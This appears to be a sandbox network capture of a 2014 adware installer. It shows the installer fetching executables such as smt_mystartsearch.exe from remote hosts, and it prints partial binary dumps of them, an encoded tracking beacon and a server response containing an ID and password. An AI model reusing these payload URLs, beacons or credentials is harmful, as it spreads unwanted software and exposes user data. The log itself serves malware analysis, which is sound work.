Set-Cookie: ASP.NET_SessionId=k02k3o5545cse1bcmjjn5rj5; path=/; HttpOnly

Date: Wed, 17 Dec 2014 16:43:49 GMT

Connection: close
<RESULT>.<USER>.<ID>4de1d895-16f4-46c5-b766-79c34a33
683b</ID>.<PW>g4NYbwGq</PW>.</USER>.</RESUL
T>...


GET /t.ashx?e=QgW8pN5r26ZQhScA1jb3T2MP/OAATTWT7OXLse4BafQHqUQ0J3/4E0jq2IY Ol30jd3g87edDM9msgsrym2SF9aoPZj94HyTXeFaoUgIZNgjlVbxwk2 SY4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:29 GMT

X-Cache: Miss from cloudfront

Via: 1.1 42784a7a05b9d149cd97ebe4008edeea.cloudfront.net (CloudFront)

X-Amz-Cf-Id: CFAODQQBLA2QmL_W-NnmV-ENCcmquRTzgeRQRrjhX-iQku2nJkPVhQ==
abfgshdgfjhsk....


GET /t.ashx?e=QgW8pN5r26ZQhScA1jb3T2MP/OAATTWT7OXLse4BafQHqUQ0J3/4E0jq2IY Ol30jd3g87edDM9msgsrym2SF9aoPZj94HyTXeFaoUgIZNgjlVbxwk2 SY4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:29 GMT

X-Cache: Miss from cloudfront

Via: 1.1 42784a7a05b9d149cd97ebe4008edeea.cloudfront.net (CloudFront)

X-Amz-Cf-Id: tLMCbVqPmV4X7Jak1yAUpn5LLv7BZt0F-DiZ9R6amohLB1dzP9srKA==
abfgshdgfjhsk....


GET /t.ashx?e=QgW8pN5r26ZQhScA1jb3T2MP/OAATTWT7OXLse4BafQHqUQ0J3/4E0jq2IY Ol30jd3g87edDM9msgsrym2SF9aoPZj94HyTXeFaoUgIZNgjlVbxwk2 SY4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:29 GMT

X-Cache: Miss from cloudfront

Via: 1.1 42784a7a05b9d149cd97ebe4008edeea.cloudfront.net (CloudFront)

X-Amz-Cf-Id: pFWA-hE3BRPFZuZlJQaHqP_IKlrB4I9EvYexy6XkM-HcQj8zLRRXpQ==
abfgshdgfjhskHTTP/1.1 200 OK..Content-Type: text/html; charset=utf-8..
Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-
cache, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5072
7..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:43:29 GMT..X-Cache
: Miss from cloudfront..Via: 1.1 42784a7a05b9d149cd97ebe4008edeea.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: pFWA-hE3BRPFZuZlJQaHqP_IKlrB4I9E
vYexy6XkM-HcQj8zLRRXpQ==..abfgshdgfjhsk..


GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com




HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Thu, 13 Nov 2014 06:02:42 GMT

Accept-Ranges: bytes

ETag: "88cab6f7ffcf1:0"

Server: Microsoft-IIS/8.5

VTag: 791936916300000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 554

Cache-Control: max-age=900

Date: Wed, 17 Dec 2014 16:47:54 GMT

Connection: keep-alive
0..&0......0...*.H........0y1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1#0!..U....Microsoft Code Si
gning PCA..141112173206Z..150211055206Z.a0_0...U.#..0..........X..7.3.
..L...0... .....7.........0...U......W0... .....7......150210174206Z0.
..*.H................].`...D..9.>LO.ey...Qx%.^.P.& ...D.......b}.K.
.[.....5.m....).....H..6R....G/ju.........:..A.#.9!......D5...|".w.x..
=.u..X6.7{..).XN....g......B.8.!&...........<7fS$..........t<X)%
.b([email protected]... ,...K\....U1cp).........y.T..?rm.t..Y.}.E..
[email protected]/1.1 200 OK..Content-Type: application/pkix-crl..Last-Modified:
 Thu, 13 Nov 2014 06:02:42 GMT..Accept-Ranges: bytes..ETag: "88cab6f7f
fcf1:0"..Server: Microsoft-IIS/8.5..VTag: 791936916300000000..P3P: CP=
"ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo
 CNT COM INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Content-
Length: 554..Cache-Control: max-age=900..Date: Wed, 17 Dec 2014 16:47:
54 GMT..Connection: keep-alive..0..&0......0...*.H........0y1.0...U...
.US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corpora
tion1#0!..U....Microsoft Code Signing PCA..141112173206Z..150211055206
Z.a0_0...U.#..0..........X..7.3...L...0... .....7.........0...U......W
0... .....7......150210174206Z0...*.H................].`...D..9.>LO
.ey...Qx%.^.P.& ...D.......b}.K..[.....5.m....).....H..6R....G/ju.....
....:..A.#.9!......D5...|".w.x..=.u..X6.7{..).XN....g......B.8.!&.....
......<7fS$..........t<X)%.b([email protected]... ,...K\.
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d3ddmpeszwup8l.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 14 Dec 2014 04:56:58 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 1399

X-Cache: Hit from cloudfront

Via: 1.1 a9b59a59c9cd05c79f53659a2b4406bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4FrE44mv4ghU9T6BzNNDMqeCmIL_TzqgxrgkpMk6-miiF3bWA76SMg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=145940-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlwurina.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:43:28 GMT

Content-Type: application/octet-stream

Content-Length: 145940

Last-Modified: Wed, 10 Dec 2014 08:07:40 GMT

Connection: keep-alive

Expires: Sat, 20 Dec 2014 16:43:28 GMT

Cache-Control: max-age=259200

Content-Range: bytes 145940-291879/291880
...E.f.E.f;.u.f..t..u................J.}.._^[t..M..ap.......U..SVWUj.j
.hhFB..u..rW..]_^[..]..L$..A..........t2.D$..H.3......U.h..P(R.P$R....
....].D$..T$.........SVW.D$.UPj.hpFB.d.5..... xC.3.P.D$.d......D$(.X..
p....t:.|$,.t.;t$,v-.4v....L$..H..|...u.h.....D...I....D..._......L$.d
........._^[.3.d.......y.pFB.u..Q..R.9Q.u.......SQ.0.C...SQ.0.C..L$..K
..C..k.UQPXY]Y[......j.h.RC...H...}...............4...C..~..u0j......Y
.e...~..u.h.....F.P..0.B..F..E......*...................C......P....B.
[email protected]....}.j......Y.j.h.RC..aH......u..e..j......Y..u....j...j..0...Y
.e..3..][email protected]....<...C..........}......C......;........G..uW....u
0j......Y.E.........u.h.....G.P..0.B..G..e.../....E...u..G.P....B..G..
[email protected]..]..}.j......Y..E...u..G....... 4...C............u
....u.C. ...j@j .....YY...M...te.....C...l.C. .....C......;.s.f.A.....
..a....@.M.........u...................C..D...V.....Y..u.....u..E.....
.........G....u.j..!...Y.U...E.VW..x`;.l.C.sX............C........D...
t=.<..t7.=P.C..u.3. .t.Ht.Hu.Qj...Qj...Qj.....B......C.....3....]..
............. ...._^].U...M....u....... ..0..........B..x&;.l.C.s.....
.........C.....D...t....]....... .............5 .....].U...M.SW..x\;.l
.C.sT............C........<..u:.=P.C..V.u.u....t.It.Iu.Vj...Vj...Vj
.....B......C..4.3.^...t..........5.... ...._[].U...M.................
C......P....B.].U...... xC.3..E.SVW.}[email protected]..\..Y..{C....t.W..\.
.Y...t"W..\....W....x\.....Y........C.Y.....@$$.<.......W.R\..Y...t
.W.F\..Y...t"W.:\....W..../\.....Y........C.Y.....@$$.<.......W
<<< skipped >>>


GET /mstag/mstag.1003102000.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: flex.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115




HTTP/1.1 200 OK

Cache-Control: max-age=86400

Content-Type: application/javascript

Content-Encoding: gzip

Last-Modified: Wed, 29 Oct 2014 21:30:02 GMT

Accept-Ranges: bytes

ETag: "069797fbff3cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

Date: Wed, 17 Dec 2014 16:44:56 GMT

Connection: close

Content-Length: 1956
...........Xm..... :LG&.8J:.MB.N.$N........Y.@$(....@....{....vM>H$
v.],......."...qw<qr...g.]e,v.S.(.......P........t:Eao.j.H..Y...A(.
3wx%N.....b..f...9.......W...).J....3...j..xQn.........:!.,"..*.EY....
Ct........X......$.)G....:...,..Q......\...|...s.%.b.K...Q..7w.r...t..
{.I..e .....1._9..3.....Fx%...i.U..9.))....*._K&..Y.p.Y.*.*)E...I_f...
]S.#..TE.......c..0..u..M.!...q.0..s....G9Y:...wK.....^.kZf..g1`)Z...R
c........A..A.Q/>M....ee..............Z^. ..|[email protected],..2..%.c
........,.,...c...?..-/.r G...Q..d...?..-.!......i.....3....{..[..H.|.
........b.4..kH...t....A.!.y..v.. .:..uuu..VC.....^..2.>....M.oQ.W.
.V.4....u.....d(l.."':......V .b..e0....{....0...9Y.Q........b.~s....Z
...2..:.....2....'T.(......L.r..H0V.[...C..k.)..T....J.#.T.i...Ve..G..
...N.i.n<[email protected]..!.(..F...L..J.......3..x.....U.w
>.S..`..4.4}S.h.....1._.k[[email protected].>.e.eKa...Q..m.....\6.~.
.(x....9.....r..F.....M...)n%..84W...6..?..X..>........xC..oL....s.
......... ...w...$!...,......l.........$..fH....K.S.;.A$....{... ...e.
....$..P....C.....:....s.|...,.(3..k2#...o...g!..q...'.m.....R((-..N.w
 .....!a.J.4... ML.x$....`Z...tj...{..'..[.2.n.;[email protected] ..6...`.....m.
....H=U..P.....H_ O[[email protected]/.Q........p.C..GG..>..>..Q;3\.7...
.yk..Y.)..{.........H`..{.1.rPc.5.|..t..S. ra. .....0......c.S~...]..6
.....f....X....A.a.a..A.c;..3....<[...y.v...N....^R.r ..Z&.u.=.._.2
u...*p.=..\h.....a.!m.........g.&..d.).t`...H........>....U...u....
.......JC.....l-..8w..p{..k...\.......s..@.$1G2....l.spb.,.Q...3.`
<<< skipped >>>


GET /ConversionService/getScript.ashx?s=finish HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=hsbibmbkxhqe4i0vxoz5dfg4




HTTP/1.1 200 OK

Cache-Control: private

Content-Type: application/x-javascript; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:56 GMT

Content-Length: 1035
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"..:..........r...r../..v]/.q6..
^.....j9jG.._......M./......EMG....G.U.f.9.........G.PCj.=......dD.^..
.~..b .~.....Ev......~.....u...4.g.t..~..:........G.......6..g{..?....
.w.:....!>...v.5......G..,?/...._......~..;...."o........E...>..
..#j7...E;?..=...|...V.rv2/..V{..V}..I5.&.k.........S.YM...q.s.@..".!M
.^..x.4o.:..8..y.(.].;L..Y;.....>.9L.j.?WUS..Gi6i.r.....hVev.(]V...
...&......a.n.dD.....}o........).i....:?...O....w....~.G....{../...'.O
>.l.{../..'w>.}T.....E.N.[..C....]?[...p1x..t.~..G.........._..&
gt;c....z.>.VK"I>......4.G).}'..2 ..E..b.]7.. ....2..S.H....MA..
AO...'...>......?..0....:o>...z.V....u[....;w........q|......?..
WY;......{......z..kAZ.A.u .i....C&..a.x..;,>[email protected]|..n:...vk..g.
}.~tx..p..'...;j.U..9.bAr...s...>......a....K..&.....CYi.E.z..}..h{
../.g...o.........M.........W...V....X...!.Y..........)......!........
.....I$n...f^.........T...n...y}YL......GRS.w.G..)....B...v.!A...Z..Kb
[..w6.M.......&x.E...HTTP/1.1 200 OK..Cache-Control: private..Content-
Type: application/x-javascript; charset=utf-8..Content-Encoding: gzip.
.Vary: Accept-Encoding..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:44:56 GMT..
Content-Length: 1035...............`.I.%&/m.{.J.J..t...`.$..@.........
iG#).*..eVe]f.@......{....{....;.N'...?\fd.l..J...!....?~|.?"..:......
....r...r../..v]/.q6..^.....j9jG.._......M./......EMG....G.U.f.9..
<<< skipped >>>


GET /home/smt_mystartsearch.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: VVV.girlwurina.com

Cache-Control: no-cache




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:43:27 GMT

Content-Type: application/octet-stream

Content-Length: 291880

Last-Modified: Wed, 10 Dec 2014 08:07:40 GMT

Connection: keep-alive

Expires: Sat, 20 Dec 2014 16:43:27 GMT

Cache-Control: max-age=259200

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$...................
...._.<....._.>....._.?.x.....b.........$....0"......08.......f.
.....0=.....Rich............PE..L.....dT..............................
[email protected].....@.................
.................c.......................V..(........!..P...8.........
...................>..@............................................
text............................... ..`.rdata.........................
.....@[email protected]... y...p...X...`[email protected]................
...............@[email protected][email protected]...........
......................................................................
......................................................................
......................................................................
......................................................................
......................................................U...E..8.u.3.]..
[email protected]. .].U..QQ. xC.3..E..E.V...&..f......t.....u.j..M..2....M.....
........M...3.^.........U..V...G....E..t.V.....Y..^]........j....B....
.....}.3.S.u.......]..^..^..^..^.3..^.f.F..^.f.F .^$.^(.^,.^0.E....u(.
E.P.M..E...C..i...h.SC..E.P.E...B......WV.$...YY..........V..WV.Y....~
,.Yt..v,.....Y3..~,9~$t..v$.....Y.~$9~.t..v......Y.~.9~.t..v......Y.~.
9~.t..v......Y.~.9~.t..v......Y.~._..^.D...U..V.u............B...^]...
U...E..V....T.B.t.V.8...Y..^]...U..QQ. xC.3..E.V...>.u&j..M....
<<< skipped >>>


GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=72970-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlwurina.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:43:28 GMT

Content-Type: application/octet-stream

Content-Length: 218910

Last-Modified: Wed, 10 Dec 2014 08:07:40 GMT

Connection: keep-alive

Expires: Sat, 20 Dec 2014 16:43:28 GMT

Cache-Control: max-age=259200

Content-Range: bytes 72970-291879/291880
....^]..(w...........A.;.t....y..u.^]..q...F..A...U....v..........t..M
[email protected].@].3.].U.....SVW..E.3.PPP.u..u..u..u..u........ .E._^[.E
...].j h.MC...f..3..]....u...tph....VSS.E.P..........t....t..."u.SSSSS
..A..j..u..8...YY....u.3..g...j.V.u.WS..........t....t..."t...t.W.B...
Y..W.u.V.K......].W.*........t...u...E..Hl.M..Hh.M.3..}..E.PWSWW.E.P..
........t....t..."u.WWWWW.V.......e....E....P.....Y...}.....K...._..].
.E.Pj..u..u.Sj...........t....t..."u.3.PPPPP.........5....}.j......Y.e
[email protected]&...zC..u..D....t.P....B...u.
.t...!...Y...M....L...\...E............._e....].j..f...Y.U..V.u..<.
`uC..u.V.q...Y..u.j...b..Y.4.`uC.....B.^].VW.`uC...S....t.....t.S....B
.S......'.Y......vC.|.[.>.t..~..u..6....B.......vC.|._^.j.h.MC..yd.
..=..C..u..`f..j...f..h.....ba..YY.}..<.`uC..u[j..1...Y....u..>.
........3..Aj......Y.e...<.`uC..u.h....V..0.B..4.`uC...V.....Y.E...
[email protected].`uC....C..~..u..>h.....6.....0.B.......
vC.|.3._@^.U...E..4.`uC.....B.].j.hHNC...c...E...tr.8csm.uj.x..ud.x. .
..t..x.!...t..x."...uI.H...tB.Q...t'.e..R.p.......E......%3.8E......e.
[email protected]...^].......B..$...U
..V......B.......E..t.V.K...Y..^]...j0h.NC...b...E..E.3..]..}..G..E..u
..v..E.P.....YY.E..Cr.........E..5r.........E..'r..........r...M......
..][email protected] .u..u..u.W.=.......E..].......u......Y..e...q..3......
..U..}..z.........O....O..M..B..E....E.9B.v?..k...z.;L>..}.~%.U.;L.
[email protected][email protected].;B.r.QRSW.........]..]..u..E...
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRtl6lMY2+iPob4twryIF+FfgUdvwQUK8NGq7oOyWUqRtF5R8Ri4uHa/LgCEBBwnU/1VAjXMGAB2OqRdbs= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.usertrust.com




HTTP/1.1 200 OK

Date: Wed, 17 Dec 2014 16:47:24 GMT

Server: Apache/2.2.22 (Debian)

Last-Modified: Tue, 16 Dec 2014 22:13:37 GMT

Expires: Sat, 20 Dec 2014 22:13:37 GMT

ETag: 7174C4DEF8BA5A8E6959FA463E9233D9B193A347

Cache-Control: max-age=278172,public,no-transform,must-revalidate

X-OCSP-Reponder-ID: h6edcaocsp6

Content-Length: 471

Connection: close

Content-Type: application/ocsp-response
0..........0..... .....0......0...0...... .F....e*F.yG.b.......2014121
6221337Z0s0q0I0... ........m..Lco.>..... _.~..... .F....e*F.yG.b...
.....p.O.T..0`....u.....20141216221337Z....20141220221337Z0...*.H.....
...........B....W.....q...y.k..^....ITh"#..E=el../..B.?WC".....l4.Z.y.
J?..<..H[.....66..x...K.....H.\a..Y.....g..s.u8..^.u'..|...w.;(>
..Se..9.......'..Ok..#....c)........$=.h....../}[email protected]]..{.d.m6...}
~$.E...r@...{.9...ra.M........wn.....m..@]e1..#.......eT......


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com




HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1453

content-transfer-encoding: binary

Cache-Control: max-age=532933, public, no-transform, must-revalidate

Last-Modified: Tue, 16 Dec 2014 20:49:17 GMT

Expires: Tue, 23 Dec 2014 20:49:17 GMT

Date: Wed, 17 Dec 2014 16:47:47 GMT

Connection: keep-alive
0..........0..... .....0......0...0......T3t.%..O.E..~..F.=....2014121
6204917Z0s0q0I0... ........H.dI.....3..^B...d6Q....ZL%."..1.m..._)..a.
.eR&.....Y.)..".\....20141216204917Z....20141223204917Z0...*.H........
..........8*.6....l...7.y.......P.j..(.V"L........]/.o%.P..A.Z.Etv...C
.....{......BC|R..tD..T. ....IbA......`...7..`....).. |Q\.....|~...U..
z,m.@...).`.Z.8.Trky. ..r...TUg.h*....Z.&......,8r.../.2..,E....V..D..
}'.]....8Lt...........}Jc..s{..|.!..b_.^..._..E`.......0...0...0..3...
..../...b.v..-....l}0...*.H........0_1.0...U....US1.0...U....VeriSign,
 Inc.1705..U....Class 3 Public Primary Certification Authority0...1412
02000000Z..151216235959Z0..1.0...U....US1.0...U....Symantec Corporatio
n1.0...U....Symantec Trust Network1?0=..U...6Symantec Class 3 PCA - G1
 OCSP Responder Certificate 30.."0...*.H.............0..........'.....
.Y..x.3B1.7..Q..`..d.. ....s..t.$a.....j2R.{ ,*..c{.3.....H..3-; )....
.0._...*..9M..V...... ...{m...-.......)..tR..{D....~...M...T..pS.p..^|
o....S..v.).)[email protected]#qh...u1T.].G0.]E...=._.....
. ........TE...Sa.s4........r...3.............0..0...U....0.0l..U. .e0
c0a..`.H...E....0R0&.. .........hXXp://VVV.symauth.com/cps0(.. .......
0...hXXp://VVV.symauth.com/rpa0...U.%..0... .......0...U........0... .
....0......0!..U....0...0.1.0...U....TGV-B-2730...*.H.............$..H
......oU....Y!.z{*.V.M..u.._z..3>.. 0....3..m.....e.......a..D.....
......e..F6:.y.....di.......<y.Z.......x}..q.2....UZ1 :,....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com




HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=548891, public, no-transform, must-revalidate

Last-Modified: Wed, 17 Dec 2014 01:14:37 GMT

Expires: Wed, 24 Dec 2014 01:14:37 GMT

Date: Wed, 17 Dec 2014 16:47:47 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2014121
7011437Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
..M.s.Q~...@?j.......20141217011437Z....20141224011437Z0...*.H........
[email protected].[k.2......."7..".m...".=....z.C.........(....F-Q\#.....P..
...;.....":W.......'(........3...r.....OB..............JV5...7X.*..QM.
...Uf...6.....g.p.#....98..&...<.......I.@.|../!.qT.....W..qB..o.x.
^(..3.#....}.....o...Lq...Y.~...X.\.?......~..opF.u......#0...0...0...
.......<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0...U....Ve
riSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use a
t hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code S
igning 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U....US1.0...
U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms o
f use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Clas
s 3 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0.......
..{(..t....2.Vf.....&;6).i*[email protected]._p.E.6.|.mk....(....
......p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..JA..~QG.d.
}...r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h<.l....
(n..i.....E.....2....^./Y......Y.m...'...hz..y..E..........0...0...U..
..0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.verisig
n.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS incorp.
 by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U.....
...0... .....0......0"..U....0...0.1.0...U....TGV-B-24710...*.H...
<<< skipped >>>


GET /baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.omniroot.com




HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/ocsp-response

Date: Wed, 17 Dec 2014 16:46:01 GMT

Last-Modified: Tue, 16 Dec 2014 18:51:02 GMT

Server: ECS (ams/D1C2)

X-Cache: HIT

Content-Length: 1406
0..z......s0..o.. .....0.....`0..\0......`;.l.uZ..k.F..^|A.Tb..2014121
6094607Z0g0e0=0... ........./Ev..Y..].....x.#......Y0.GX....T6.{:..M..
..'.G....20141203203011Z....20150303203511Z0...*.H...............n...(
F.....Wq;......w.e.I~5.,...([email protected]...[[email protected]%$R2
.......0..B..&TKa.S...P..D.&g.~,Y.([email protected]......
.C.@K.=.6..1...q7..Z.%....5..3.XPAG...{..Lk..\H...DI.. ..<. ..`.!..
..I..0..C.}~....;'VI..J.p....SN.(.....$E=z....0...0...0...........'..0
...*.H........0Z1.0...U....IE1.0...U....Baltimore1.0...U....CyberTrust
1"0 ..U....Baltimore CyberTrust Root0...140122184236Z..150122184140Z0G
1.0...U....US1.0...U....Cybertrust1#0!..U....Cybertrust-Validation-201
10.."0...*.H.............0.........?....(Fb....G... ..=..(L..wK...04..
I......C...1.Z......U.$b.f..Pa.....S...#..B.........^T..IP8..........h
8GM..*.4.MP..../[email protected].
...$..@@....q2...Uby.e......D....lf...C....ZP}O......7...mM..c.g..j.\.
>.O....G.A........0..0... .....0......0...U.......0.0...U..........
.0...U.%..0... .......0...U.#..0.....Y0.GX....T6.{:..M.0...U......`;.l
.uZ..k.F..^|A.Tb0...*.H.............. .p.)...09W..Z.......]....}.:..Vr
.....c..U..:V^.O.....<...b*5.c.\.fF./....5'.>./ iS..R0..)..*.!..
q.h.T..ul.}&.......`.1".~.U....rB.BR.s..x..o..Y.......).4:.[.9.=....x.
..'.f..\ [email protected]:J!.hRH..!z2DtL.s2.r.....Yi~..E..AzO..i.."N.$j
...b...o..i."{(3....
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEEIa8pQJhBkfUgpLxiQmp0s= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.usertrust.com




HTTP/1.1 200 OK

